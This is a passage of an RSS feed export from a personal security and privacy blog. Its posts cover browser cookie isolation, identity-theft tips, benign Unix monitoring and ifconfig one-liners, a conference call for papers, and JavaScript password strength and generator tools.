    For years I&#039;ve had a tinfoil dilemma. I know that companies trying to own the internet love dropping cookies, and then using those cookies to track you around the tubes. It started with the advertisers like DoubleClick who would drop their cookie, then rely on their distribution of banner ads. Every time your browser hit a page with one of their banner ads, it would send it&#039;s cookie along and help them track you around the internet. &lt;p&gt;This problem was mostly easy to solve by blocking third-party cookies, i.e. cookies for domains other than the page you are on. Things got a bit self-moderating too when the Network Advertising Initiative&#039;s members decided to push for &lt;a title=&quot;NAI Opt Out&quot; href=&quot;http://www.networkadvertising.org/managing/opt_out.asp&quot;&gt;tracking opt-out&lt;/a&gt;. This spawned tools like the &lt;a title=&quot;TACO&quot; href=&quot;http://taco.dubfire.net/&quot;&gt;Targeted Advertising Cookie Opt-Out&lt;/a&gt; which let&#039;s you opt-out of all the advertisers you can (currently at 90). There&#039;s problems with both of those options, but they at least provide mostly n00b-proof privacy. For the slightly less n00by Firefox add-ons like &lt;a tile=&quot;Install CookieSafe&quot; href=&quot;https://addons.mozilla.org/en-US/firefox/addon/5207&quot;&gt;CookieSafe&lt;/a&gt; provide default-deny with one-click enable capabilities to drastically reduce the number of cookies you find in your jar.&lt;/p&gt; 
&lt;p&gt;The problem came in with providers who try and rule the world, while providing services I want to use. The most obvious of these is Google. When I first started using Gmail, I realised that Google forced you to accept a cookie from google.com to use the service, and you couldn&#039;t just accept cookies for mail.google.com. What&#039;s more, Google&#039;s code, either in the form of AdWords or Analytics is embedded on most of the internet, and I use several of their other services like Search &amp;amp; YouTube. This means that I have to accept their root, long expiring cookie and have my browser regularly send it to Google associated to my Google account identifying nearly every page I&#039;m on.&lt;/p&gt; 
&lt;p&gt;&lt;a title=&quot;Tinfoil Firefox Love&quot; href=&quot;http://singe.za.net/blog/archives/793-Tinfoil-Firefox-Love.html&quot;&gt;My solution&lt;/a&gt; to this problem was previous in two parts. The first was to make sure than any &amp;quot;logged on&amp;quot; interactions I had with Google were in a separate Firefox profile. This ensures that the necessary google.com cookie set there would be isolated from my usual surfing. The second part was to limit my direct use of Google services. This lead me to &lt;a title=&quot;Scroogle&quot; href=&quot;https://ssl.scroogle.org/&quot;&gt;Scroogle&lt;/a&gt;, a privacy enhancing Google scraper; and &lt;a href=&quot;http://googlesharing.net/&quot;&gt;GoogleSharing.net&lt;/a&gt;, Moxie&#039;s identity randomizer for Google services. That meant that I could happily never have a google.com cookie set in my main browser, except in a isolated Firefox profile.&lt;/p&gt; 
&lt;p&gt;However, recently, the next challenge for the internet has created a new problem, Facebook. Facebook&#039;s &lt;a title=&quot;One Graph to Rule them All&quot; href=&quot;http://news.cnet.com/8301-13577_3-20003053-36.html&quot;&gt;recent salvo&lt;/a&gt; to rule the internet has lead to a plethora of sites embedding Facebook scripts in their pages for their like buttons. This means I am faced with the same problem as Google, a site I regularly log-in to, which sets a cookie strongly associated to my identity, and is regularly sent to the provider as I surf the internet. Initially, I just added Facebook to my isolated Firefox profile. However, this is where I discovered Stainless.app&lt;/p&gt; 
&lt;p&gt;&lt;a title=&quot;Stainless.app&quot; href=&quot;http://www.stainlessapp.com/&quot;&gt;Stainless.app&lt;/a&gt; is a very simple web-browser build off WebKit. Their key feature, is that they take Google&#039;s Chrome browser&#039;s per-tab process+sandbox a bit further providing per-tab sessions. What this means is that each tab (or sub-tabs you choose to spawn from it) is a self-contained session, and a cookie for google.com or facebook.com set in the one tab, would not be available to the next tab. This provides a per-default session isolation, preventing cookies from existing across a browser session, and not just cookies, sessions. Thus, if I were to log in to Facebook and have a cookie set for facebook.com, navigating to memeburn&#039;s website will mean the included &amp;quot;like&amp;quot; button&#039;s script won&#039;t be able to query that cookie, and will set a whole new one.&lt;/p&gt; 
&lt;p&gt;What&#039;s more, is that this buys you some security too, and has the potential to kill authenticated CSRF as an attack vector (by itself, but &amp;quot;please log in&amp;quot; style CSRF&#039;s would still work), because the tab you open up the CSRF attack in, wouldn&#039;t have access to your logged in session in another tab.&lt;/p&gt; 
&lt;p&gt;To enable this, you will need to install Stainless.app (OSX currently), then set Preferences -&amp;gt; Security -&amp;gt; &amp;quot;Create new single session tabs by default&amp;quot;, and restart the browser.&lt;/p&gt; 
&lt;p&gt;Unfortunately, in using Stainless, I loose the ability to block third-party cookies entirely (they are still set, just per tab), the ability to block ads with AdBlock Plus and the extra security afforded by NoScript. The first isn&#039;t a big problem, given the built in isolation, the second can be somewhat recreated with Squid(or SquidMan for OSX)+SquidGuardian+Easylist, and the third, we&#039;ll just have to wait.&amp;#160;&lt;/p&gt; 
&lt;p&gt;In short, this means I can consolidate into one default browser profile for by usual browsing, but I&#039;ll still need Firefox for anything else.&amp;#160;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 03 May 2010 23:47:53 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1002-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Privacy Enhancing Techniques</title>
    <link>http://www.singe.za.net/blog/archives/945-Privacy-Enhancing-Techniques.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/945-Privacy-Enhancing-Techniques.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=945</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=945</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;a href=&quot;http://www.deloitte.com/za/security&quot; title=&quot;Deloitte Security &amp;amp; Privacy Services&quot;&gt;Ritasha Jethva&lt;/a&gt;, our &lt;a href=&quot;http://www.deloitte.com/dtt/section_node/0,1042,sid%253D197397,00.html&quot; title=&quot;Privacy &amp;amp; Data Protection&quot;&gt;Privacy &amp;amp; Data Protection&lt;/a&gt; competency lead added some nice tips to a &lt;a href=&quot;http://www.itinews.co.za/companyview.aspx?companyid=21856&amp;amp;page=0&amp;amp;cocategoryid=89&quot; title=&quot;Is your identity safe?&quot;&gt;publicity piece&lt;/a&gt; that made it otherwise more useful than it would have been. I&#039;m republishing them here along with some other stuff I&#039;ve found of late.&lt;/p&gt; &lt;blockquote&gt;
&lt;p&gt;You may already be a victim of identity theft if:&lt;/p&gt; 
&lt;ul&gt;
&lt;li&gt;Items have appeared on your bank or credit-card statements that you do not recognise. 
&lt;/li&gt;
&lt;li&gt;You&#039;ve applied for medical or other benefits but are told that you are already claiming. 
&lt;/li&gt;
&lt;li&gt;You&#039;ve received bills, invoices or receipts addressed to you for goods or services you never purchased. 
&lt;/li&gt;
&lt;li&gt;You&#039;ve been refused a credit card or loan, despite having a good credit history. 
&lt;/li&gt;
&lt;li&gt;A mobile-phone contract has been set up in your name without your consent. 
&lt;/li&gt;
&lt;li&gt;You have received letters from lawyers or financial institutions for debts that aren&#039;t yours. 
&lt;/li&gt;
&lt;li&gt;Mail expected from key organisations the likes of your bank
have not arrived, or even if you are not receiving any mail
correspondence at all. &lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt; 
&lt;blockquote&gt;
&lt;p&gt;The following tips will help you protect your identity and prevent criminals from committing fraud in your name:&lt;/p&gt; 
&lt;ul&gt;
&lt;li&gt;Turn off extra features in any technology that you aren&#039;t using. 
&lt;/li&gt;
&lt;li&gt;Always think before you click or press a button; personal awareness is key. 
&lt;/li&gt;
&lt;li&gt;Don&#039;t throw away entire bills, receipts, credit-or debit-card
slips, bank statements or even unwanted post in your name. If you do
need to destroy unwanted documentation, do so using a shredder if
possible.&amp;#160; &lt;/li&gt;
&lt;li&gt;Keep your personal documents in a safe place, such as a lockable drawer or cabinet. 
&lt;/li&gt;
&lt;li&gt;Be vigilant around what you publish about yourself, especially on internet sites. 
&lt;/li&gt;
&lt;li&gt;If your passport, ID book or drivers licence has been lost or stolen contact the issuing organisation immediately. 
&lt;/li&gt;
&lt;li&gt;Keep your passwords safe and never record or store them in a
manner which leaves them open to theft, such as in your purse or
wallet. &lt;/li&gt;
&lt;li&gt;Check statements as soon as they arrive. If any unfamiliar transactions are listed, contact the company concerned immediately. 
&lt;/li&gt;
&lt;li&gt;Never divulge personal information via email or sms&#039; no matter how trustworthy the request may appear to be&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt; 
&lt;p&gt;Then, to add some stuff I&#039;ve picked up (mostly from a technical level) that has worked well:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give out as little information as you need to, just because they ask for your phone number on the form, doesn&#039;t mean you need to give it. Apply your intelligence to when this is appropriate, you will always need to give some people some information. Yusuf, for example has lots of fun signing into &#039;front-fence security&#039; with ridiculous names that should trigger any half conscious security guards spidey sense, such as &amp;quot;Osama bin Laden&amp;quot; (he has yet to be called on it).&lt;/li&gt;
&lt;li&gt;You can easily pulp lots of bills by putting them in a bucket or sink with hot water and a solvent (ammonia-based cleaners work well). It is much easier than ripping up each bill into tiny bits.&lt;/li&gt;
&lt;li&gt;My new favourite temporary e-mail service is &lt;a title=&quot;Disposable Temporary E-Mail Address&quot; href=&quot;http://www.guerrillamail.com/&quot;&gt;Guerilla Mail&lt;/a&gt;, especially since TemporaryInbox and Mailinator rarely have mail successfully delivered to them (likely blocked thanks to spammers). Also, keep your eyes on stuff like &lt;a href=&quot;http://www.jangl.com/&quot; title=&quot;Private Social Mobile Messaging&quot;&gt;Jangl&lt;/a&gt; for a telephonic equivalent. US users can use &lt;a href=&quot;http://www.inumbr.com/&quot; title=&quot;Private Phone Number&quot;&gt;inumbr&lt;/a&gt; now.&lt;/li&gt;
&lt;li&gt;&lt;a title=&quot;AdBlock Plus Firefox Add-On&quot; href=&quot;https://addons.mozilla.org/en-US/firefox/addon/1865&quot;&gt;AdBlock Plus&lt;/a&gt; has always been a great way to block adverts which usually try and invade your privacy in new and exciting ways, including &lt;a title=&quot;Advertising Is the Primary Vector for Delivering Malicious Code&quot; href=&quot;http://www.finjan.com/Pressrelease.aspx?PressLan=1230&amp;amp;id=1383&amp;amp;lan=3&quot;&gt;delivering malware&lt;/a&gt;. However, I&#039;ve recently discovered the &lt;a title=&quot;AdBlock Plus: Element Hiding Helper Firefox Add-On&quot; href=&quot;https://addons.mozilla.org/en-US/firefox/addon/4364&quot;&gt;element hiding helper&lt;/a&gt; extension to AdBlock, which makes quickly nuking ads placed in-line (e.g. FaceBook&#039;s ad sidebar) quick, easy and permanent.&lt;/li&gt;
&lt;li&gt;&lt;a title=&quot;NoScript Firefox Add-On&quot; href=&quot;https://addons.mozilla.org/firefox/addon/722&quot;&gt;NoScript&lt;/a&gt; is pretty much standard for members of the security community, but I particularly love that I can block third party JavaScript (e.g. Google Analytics) and it&#039;s interrogations, and one click can enable it if necessary and temporarily if so wished.&lt;/li&gt;
&lt;li&gt;Cookie blockers are also useful. I prefer &lt;a title=&quot;CookieSafe Firefox Add-On&quot; href=&quot;https://addons.mozilla.org/en-US/firefox/addon/2497&quot;&gt;CookieSafe&lt;/a&gt; which operates much the same as NoScript.&lt;/li&gt;
&lt;li&gt;Read your e-mail in plaintext, tracking &amp;lt;img&amp;gt;&#039;s are regularly used. It will also stop you from writing irritating and/or poorly structured mail.&lt;/li&gt;
&lt;/ul&gt; 
    </content:encoded>

    <pubDate>Mon, 15 Sep 2008 21:30:30 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/945-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Monitoring your Laptop/Desktop Processes Reduces Frustration</title>
    <link>http://www.singe.za.net/blog/archives/982-Monitoring-your-LaptopDesktop-Processes-Reduces-Frustration.html</link>
            <category>Geek</category>
    
    <comments>http://www.singe.za.net/blog/archives/982-Monitoring-your-LaptopDesktop-Processes-Reduces-Frustration.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=982</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=982</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Using a computer can be frustrating; you click on something and it doesn&#039;t complete as fast as it usually does, and you don&#039;t know why. Advanced users tend to look at their CPU usage, to provide some form of explanation. &amp;quot;Oh look, my CPU is really busy, that&#039;s why stuff is slow.&amp;quot; This is often turned into a widget/gadget/&lt;a href=&quot;http://screenlets.org/&quot; title=&quot;Linux Desktop Widgets&quot;&gt;screenlet&lt;/a&gt; that sits on their desktop blinking the current CPU usage.&lt;br /&gt; &lt;p&gt;More advanced users like to know what is nailing their CPU, and have some form of hotkey of screen widget nearby to tell them. But sometimes it takes too much effort for the computer to show you this application while it&#039;s thrashing away and I&#039;ve been looking for a nice unobtrusive on-screen &amp;quot;gadget&amp;quot; that gives me all the information I need. After going through hundreds of windows sidebar gadgets, Mac widgets and now Gnome screenlets, I&#039;ve hit on a winning strategy (for Linux, but the concept remains the same).&lt;/p&gt; 
&lt;p&gt;I&#039;m using a semi-transparent Output screenlet to display the contents of the following command in Linux, and &lt;a href=&quot;http://projects.tynsoe.org/en/geektool/&quot; title=&quot;GeekTool&quot;&gt;GeekTool&lt;/a&gt; to do the same on OSX:&lt;/p&gt; 
&lt;blockquote&gt;
&lt;p&gt;GNU/Linux: &lt;font face=&quot;courier new,courier,monospace&quot;&gt;top -b -n1 -s -i | head -n9 | tail -n3 | grep -v &amp;quot; top &amp;quot; | cut -b1-16,42-50,61-80&lt;/font&gt;&lt;br /&gt;
BSD: &lt;font face=&quot;courier new,courier,monospace&quot;&gt;top -R -u -i100 -l2 -ncols 3 | grep PID -A5 | tail -n6&lt;/font&gt;&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;People often forget that disk IO is also an important indicator.
Sometimes your CPU usage is moderate but your computer is frozen while
your disk thrashes away. So I have a second screenlet with the output of (I don&#039;t have one for OSX yet):&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;iotop -n1 -b -o | grep -v &amp;quot;Total DISK READ:&amp;quot; | cut -b1-38,55-80&lt;/font&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;What does this buy me? Well, with a quick glance I can find out what process is currently killing my CPU or disk. It also includes the PID for quick &amp;quot;kill&amp;quot; or &amp;quot;renice&amp;quot; access (transparent terminals make reading the PID easy). Additionally, in a few weeks, it has given me a far greater understanding of how applications on my computer work and interact with others. For example, Crossover Office (aka wine) makes Xorg flatline a CPU core when it starts a new wineserver (I blame compiz funkiness). I don&#039;t actually care about that, what I do care about is I now know how and when to expect delays when starting crossover apps. The end result of this overcomplicated explanation is that the frustration of using a computer has significantly decreased now that I know what to expect.&lt;/p&gt; 
&lt;p&gt;Also, when I invariable break something, these strings will be here for me to copy paste back into existence.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sun, 28 Jun 2009 06:10:01 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/982-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>ZaCon II CFP Closes on Fri</title>
    <link>http://www.singe.za.net/blog/archives/1007-ZaCon-II-CFP-Closes-on-Fri.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1007-ZaCon-II-CFP-Closes-on-Fri.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1007</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1007</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;The &lt;a href=&quot;http://zacon.org.za/zacon2/cfp.html&quot; title=&quot;Call For Papers&quot;&gt;ZaCon II CFP&lt;/a&gt; is nearing it&#039;s closure date (tomorrow!), and this is an overt reminder to all of you thinking about submitting to do it. ZaCon is a great place to either give your first infosec presentation or deliver a tech-heavy presentation to a receptive crowd. All you need do is submit a short abstract to &lt;a href=&quot;mailto:abstracts@zacon.org.zs&quot;&gt;abstracts@zacon.org.za&lt;/a&gt; and if your submission is accepted, prepare and deliver a presentation. You don&#039;t even need to write a paper. If that isn&#039;t lowering the barrier to entry enough, then you&#039;re just lazy :)&lt;/p&gt; 
&lt;p&gt; If my submission is accepted (heavy bribery underway), then I&#039;m hoping to set up an infosec &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/British_Parliamentary_Style&quot;&gt;BP-style debate&lt;/a&gt;, and will be approaching some of you &amp;quot;I&#039;m smart but never share that outside the office&amp;quot; types to get involved, and hopefully have some fun.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;You can read more of my thoughts on ZaCon &lt;a href=&quot;http://www.singe.za.net/blog/archives/988-ZaCon-Information-Security-for-the-Rest-of-Us.html&quot; title=&quot;ZaCon Information Security for the Rest of Us&quot;&gt;here&lt;/a&gt;. Also, at some indeterminate point in the future, some ramblings about ZaCon will appear in episode 18 of &lt;a href=&quot;http://www.letstalkgeek.net/&quot;&gt;Let&#039;s Talk Geek&lt;/a&gt;.&lt;br /&gt;&lt;/p&gt;  
    </content:encoded>

    <pubDate>Thu, 19 Aug 2010 10:09:11 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1007-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Simple IF: IP list - the Unix way</title>
    <link>http://www.singe.za.net/blog/archives/1004-Simple-IF-IP-list-the-Unix-way.html</link>
            <category>Geek</category>
    
    <comments>http://www.singe.za.net/blog/archives/1004-Simple-IF-IP-list-the-Unix-way.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1004</wfw:comment>

    <slash:comments>6</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1004</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;ifconfig -u|grep -v inet6|grep -v media| grep -v lladdr|grep -v ether|grep -v status|sed &amp;quot;s/flags=.*//&amp;quot;|sed &amp;quot;s/^.*inet \(.*\) netmask.*$/\1/&amp;quot;|sed &amp;quot;s/^\([elfv]\)/#\1/&amp;quot;|tr -d &#039;\n&#039;|tr &#039;#&#039; &#039;\n&#039; &amp;amp;&amp;amp; echo&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt;I just want a simple display of the interfaces on my system and their IPs. I was in a rush and came up with that disgusting line. On the one hand it demonstrates the power of Unix, on the other hand it demonstrates the problems with it. So, dear interwebs, please provide me with (in order of preference):&lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt;A better way of doing it (I&#039;m thinking sysctl, [I&#039;m on a Mac])&lt;/li&gt; 
&lt;li&gt;The right command line magic to get better greppable output from ifconfig&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;An optimised command line, specifically:&lt;/li&gt; 
&lt;ol&gt; 
&lt;li&gt;How can you combine the multiple &amp;quot;grep -v&amp;quot; commands?&lt;/li&gt; 
&lt;li&gt;How can I combine the sed &amp;amp; tr commands?&lt;/li&gt; 
&lt;/ol&gt; 
&lt;/ol&gt; 
&lt;p&gt;Failing that, here&#039;s a command you too can use to give you a fragile list of interfaces and their ipv4 addresses. I&#039;ve embedded it on my desktop with GeekTool (OSX). It makes the FW logs also embedded on my desktop make more sense :)&lt;/p&gt; 
&lt;p&gt;&lt;font size=&quot;3&quot;&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/font&gt;: I love you my fellow Geeks. The winning solution is from &lt;a href=&quot;http://cloudsecurity.org&quot;&gt;Craig Balding&lt;/a&gt; via &lt;a href=&quot;http://twitter.com/craigbalding/statuses/16800596788&quot;&gt;twitter&lt;/a&gt;, who put us all to shame with the ridiculously simple piece of cli kung-fu that is:&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;ifconfig|awk &#039;/mtu/ {nic=$1} /inet / {print nic &amp;quot; &amp;quot; $2}&#039;&lt;/font&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt; &lt;h2&gt;Notable mentions to:&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://securityonion.blogspot.com/&quot;&gt;Doug Burks&lt;/a&gt; who initially 
came
 up with both the shortest, easiest to read &amp;amp; least fragile solution
 with a combination of (1) &amp;amp; (2). However, it was noticeably slower 
than the others due to awk. At only 2chars longer, but faster, my 
modification of his is:&lt;br /&gt; &lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;for i in `ifconfig -lu`; 
do echo -n $i:\ ; ifconfig $i |grep inet\ |grep -o &amp;quot;[1-9][^ ]* &amp;quot; | tr -d
 &#039;\n&#039;; echo; done&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt; &lt;a href=&quot;http://dawes.za.net/rogan/&quot;&gt;Rogan Dawes&lt;/a&gt; who greatly 
optimised ala (3) (with some ugliness from mine to make the tuples take 
one line):&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;ifconfig -u | egrep 
&amp;quot;^[a-z]|inet &amp;quot; | sed -e &amp;quot;s/ flags.*$//&amp;quot; -e&amp;quot;s/^.*inet \(.*\) netmask.*$/ 
\1/&amp;quot;|sed &amp;quot;s/^\([elfv]\)/#\1/&amp;quot;|tr -d &#039;\n&#039;|tr &#039;#&#039; &#039;\n&#039;&amp;amp;&amp;amp; echo&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt;&lt;a href=&quot;http://blog.thinkst.com/&quot;&gt;Haroon Meer&lt;/a&gt; who aimed for (1) 
using OSX&#039;s networksetup. However, networksetup doesn&#039;t list all 
interfaces (e.g. the vmware interfaces). Also, combing the output to one
 line per tuple is a pain.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 22 Jun 2010 21:57:34 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1004-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Password Strength Checker &amp; Generator</title>
    <link>http://www.singe.za.net/blog/archives/1003-Password-Strength-Checker-Generator.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1003-Password-Strength-Checker-Generator.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1003</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1003</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;&lt;em&gt;This has been reposted from &lt;a href=&quot;http://www.sensepost.com/blog/4668.html&quot; title=&quot;Password Tools&quot;&gt;it&#039;s original&lt;/a&gt; at my new second blogging home at &lt;a href=&quot;http://www.sensepost.com/blog/&quot; title=&quot;extern blog SensePost;&quot;&gt;SensePost&lt;/a&gt;.&lt;/em&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;In my previous role working as a security manager for a large 
retailer, I developed some password tools for various purposes, 
primarily to help non-security people with some of the basics. I 
licensed them under the GPL, and I think it&#039;s about time they saw the 
light of day.&lt;/p&gt; 
&lt;p&gt;There are a couple of tools, which I will explain below. They&#039;re all 
written in JavaScript, primarily because it is cross-platform, but can 
be centrally hosted. They all work in Firefox and Internet Explorer, 
although the automatic copy to clipboard functionality of the service 
desk tool is IE only.&lt;/p&gt; 
&lt;p&gt;The intention is for the tools to be placed into your organisation&#039;s 
intranet somewhere. I found they came in much use, allowing me to 
reference a specific tool and setting rather than esoteric password 
theory in documents. For example, security standards documents would say
 &amp;quot;Service account passwords should either be generated by the password 
generator set to the service account setting, or be rated as &amp;quot;very 
strong&amp;quot; by the password strength checker&amp;quot;, which is far more practical 
than quoting a list of password rules.&lt;/p&gt; 
&lt;p&gt;Being centrally hosted also allows updates to be made immediately in 
the case of a policy change, new common password addition, or bug. This 
also allowed web logs to provide an audit trail of who was using the 
tools. Particularly useful in the case of monitoring service desk 
activity e.g. If the service desk records 100 password resets, and the 
tool only saw 10 hits, you know something&#039;s up.&lt;/p&gt; 
&lt;p&gt;If you&#039;re a tactile learner, you can &lt;a href=&quot;http://www.sensepost.com/blogstatic/2010/04/sp-password-tools.zip&quot;&gt;grab

 them here&lt;/a&gt;.&lt;/p&gt; &lt;div class=&quot;entry_content&quot;&gt; 
&lt;h2&gt;&lt;strong&gt;Password Strength Checker&lt;/strong&gt;&lt;/h2&gt; 
&lt;p&gt;This tool was written in response to the poor attempts at password 
strength checkers seen on many sites. They do basic checks for upper, 
lower-case characters and numbers. This allows passwords like 
&amp;quot;Password1&amp;quot; to be marked as &amp;quot;strong.&amp;quot; Primarily based on &lt;a href=&quot;http://rumkin.com/tools/password/passchk.php&quot;&gt;Tyler Atkins&#039; 
entropy and common word checker&lt;/a&gt;, I put together a more advanced 
utility. This will check the chosen password for:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;Length (over 8 characters)&lt;/li&gt; 
&lt;li&gt;Character sets (lowercase, uppercase, numbers, special characters)&lt;/li&gt; 
&lt;li&gt;Frequency (checks for common sets of characters e.g. &amp;quot;u&amp;quot; following 
&amp;quot;q&amp;quot;, biased to English)&lt;/li&gt; 
&lt;li&gt;Common Words (checks that common words aren&#039;t used e.g. Password1)&lt;/li&gt; 
&lt;/ul&gt;
I&#039;ve added a &lt;a href=&quot;http://www.gerd-riesselmann.net/archives/2005/03/a-javascript-progress-bar-and-password-quality-indicator&quot;&gt;progress
 bar from Gerd
 Riesselmann&lt;/a&gt;, and a key for guidance. I&#039;ve also eased the password 
strength requirements to better fit reasonable corporate password 
policies. These can be easily modified in the code though. 

&lt;p&gt;There are two versions provided, one which &lt;a href=&quot;http://www.sensepost.com/blogstatic/2010/04/password-strength-checker-with-entropy-display.html&quot;&gt;displays
 the results of the entropy calculations&lt;/a&gt;, and one which &lt;a href=&quot;http://www.sensepost.com/blogstatic/2010/04/password-strength-checker.html&quot;&gt;does
 not&lt;/a&gt; (user&#039;s rarely care).&lt;/p&gt; 
&lt;h2&gt;&lt;strong&gt;Password Generators&lt;/strong&gt;&lt;/h2&gt; 
&lt;p&gt;There are three password generators, each with a different audience 
in mind.&lt;/p&gt; 
&lt;h3&gt;&lt;strong&gt;Full Password Generator&lt;/strong&gt;&lt;/h3&gt; 
&lt;p&gt;&lt;a href=&quot;http://www.sensepost.com/blogstatic/2010/04/password-generator.html&quot;&gt;The
 full password generator&lt;/a&gt; is the most complex and has a number of 
features:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;Generate random passwords of varying complexity based on a &amp;quot;usage&amp;quot; 
selector such as &amp;quot;user&amp;quot;, &amp;quot;administrator&amp;quot; or &amp;quot;service account&amp;quot;. These 
match up to the complexity key in the strength checker.&lt;/li&gt; 
&lt;li&gt;Generate lists of passwords to be used as distributed 
One-Time-Password lists. This is useful if passwords are regularly 
required between two parties to avoid using a static password. The list 
can be delivered via an alternative medium than the data being 
transmitted, and an agreed rotation period set up, such as a new 
password to be used &amp;quot;every day&amp;quot; or &amp;quot;every week&amp;quot;.&lt;/li&gt; 
&lt;li&gt;Create a NATO alphabet version of the password for speaking over 
the phone with the &amp;quot;will be spoken&amp;quot; option&lt;/li&gt; 
&lt;/ul&gt;
The actual password generation code was courtesy of the 
no-longer-available &lt;a href=&quot;http://unix.freshmeat.net/projects/cryptomx&quot;&gt;CryptoMX tools&lt;/a&gt;, 
and the NATO alphabet conversion code was courtesy of &lt;a href=&quot;http://www.sourcecodeonline.com/details/nato_phonetic_translator.html&quot;&gt;L.
 Bower&lt;/a&gt;. 




&lt;h3&gt;&lt;strong&gt;Service Desk Password Generators&lt;/strong&gt;&lt;/h3&gt; 
&lt;p&gt;The service desk password generators were created to help the service
 desk stop resetting everyone&#039;s password to the same thing. It&#039;s one of 
the most pervasive security problems in any organisation, the service 
desk are told to reset passwords to some common password like &amp;quot;abc123&amp;quot;, 
&amp;quot;Password&amp;lt;x&amp;gt;&amp;quot; or &amp;quot;&amp;lt;username&amp;gt;&amp;quot;. Most user&#039;s know it, and if 
you do ever investigate service desk password resets, will find some 
serious abuses going on. This tool is a quick and dirty way to provide 
more reasonable alternatives for the service desk to use.&lt;/p&gt; 
&lt;p&gt;It&#039;s basic features are:
&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;A very simple interface and instructions&lt;/li&gt; 
&lt;li&gt;A basic and somewhat unique password is generated&lt;/li&gt; 
&lt;li&gt;A &amp;quot;pronounceable&amp;quot; version of the password is created in the NATO 
alphabet for speaking over the phone&lt;/li&gt; 
&lt;li&gt;The password is copied to the clipboard (IE only) for pasting into 
whatever reset tool is in use&lt;/li&gt; 
&lt;/ul&gt;
There are two versions, &lt;a href=&quot;http://www.sensepost.com/blogstatic/2010/04/service-desk-password-generator-strong.html&quot;&gt;the
 first&lt;/a&gt; generates a strong random password, and &lt;a href=&quot;http://www.sensepost.com/blogstatic/2010/04/service-desk-password-generator-weak.html&quot;&gt;the
 second&lt;/a&gt; uses one of a list of weak base words, with random numbers 
put on the end. The second was created after push back from the service 
desk agents saying that user&#039;s were complaining about the random 
passwords. I don&#039;t like the second version, because it is still fairly 
